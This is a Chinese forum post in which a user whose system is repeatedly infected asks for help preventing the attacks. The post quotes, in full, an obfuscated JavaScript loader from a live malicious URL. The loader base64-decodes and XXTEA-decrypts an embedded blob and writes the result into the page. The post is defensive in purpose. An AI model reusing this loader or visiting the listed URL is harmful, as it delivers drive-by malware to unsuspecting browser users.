经常被人利用OE挂马，最后找到这段代码，大家来帮忙看看，怎么去预防，反正瑞星是没有什么办法，每次都被挂，我还原都还原烦了。没办法只有把OE目录下面的wab.exe改名或者把OE目录名改了，可是打开含有这段代码的网页总提示错误，烦。

代码来源（小心点击，有毒）：http://www.hrz008.cn/a187/fxx.htm



<script language =javascript>
function utf8to16(str){
var out,i,len,c;
var char2,char3;
out=[];
len=str.length;
i=0;
while(i<len){
  c=str.charCodeAt(i++);
  switch(c>>4)
  {
  case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out
[out.length]=str.charAt(i-1);
  break;
  case 12:case 13:char2=str.charCodeAt(i++);
  var xxx="SB";
  out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));
  break;
  case 14:char2=str.charCodeAt(i++);
  char3=str.charCodeAt(i++);
  out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)
<<6)|((char3&0x3F)<<0));
  break;
 
  }
}
return out.join('');

}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-
1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-
1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-
1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-
1,-1);
function base64decode(str)
{
var c1,c2,c3,c4;
var i,len,out;
len=str.length;
i=0;
out="";
while(i<len)
{
  do
  {
  c1=base64DecodeChars[str.charCodeAt(i++)&0xff]
  }while(i<len&&c1==-1);
  if(c1==-1)
  break;
  do
  {
  c2=base64DecodeChars[str.charCodeAt(i++)&0xff]
  }while(i<len&&c2==-1);
  if(c2==-1)
  break;
  out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));
  do
  {
  c3=str.charCodeAt(i++)&0xff;
  if(c3==61)
  return out;
  c3=base64DecodeChars[c3]
  }while(i<len&&c3==-1);
  if(c3==-1)
  break;
  out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));
  do
  {
  c4=str.charCodeAt(i++)&0xff;
  if(c4==61)
  return out;
  c4=base64DecodeChars[c4]
  }while(i<len&&c4==-1);
  if(c4==-1)
  break;
  out+=String.fromCharCode(((c3&0x03)<<6)|c4)
}
return out
}
function long2str(v,w){
var vl=v.length;
var sl=v[vl-1]&0xffffffff;
for(var i=0;i<vl;i++)
{
  v=String.fromCharCode(v&0xff,v>>>8&0xff,v>>>16&0xff,v
>>>24&0xff);
 
}
if(w){
  return v.join('').substring(0,sl);
 
}
else {
  return v.join('');
 
}
}
function str2long(s,w){
var len=s.length;
var v=[];
for(var i=0;i<len;i+=4)
{
  v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)
<<16|s.charCodeAt(i+3)<<24;
 
}
if(w){
  v[v.length]=len;
 
}
return v;

}
function xxtea_decrypt(str,key){
if(str==""){
  return "";
 
}
var v=str2long(str,false);
var k=str2long(key,false);
var n=v.length-1;
var z=v[n-1],y=v[0],delta=0x9E3779B9;
var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;
while(sum!=0){
  e=sum>>>2&3;
  for(var p=n;p>0;p--){
  z=v[p-1];
  mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);
  y=v[p]=v[p]-mx&0xffffffff;
 
  }
  z=v[n];
  mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);
  y=v[0]=v[0]-mx&0xffffffff;
  sum=sum-delta&0xffffffff;
 
}
return long2str(v,true);

}
t="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
jy1AGwW2/ZgYOtBElnjHyx3Ej"+"/tYE8"+"xLoD"+"fU"+"iB"+"Lj"+"nr"+"G5"+"Zx"+"Zh"+"vq"+"Lp"+"i4"+
"xufMMDpGaB230cM9BXB/fj6/HJr5aAyB5HA21Lg2PJkrvjUs=";
t=utf8to16(xxtea_decrypt(base64decode(t),'dadong1'));
document.write(t);
</script>

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler )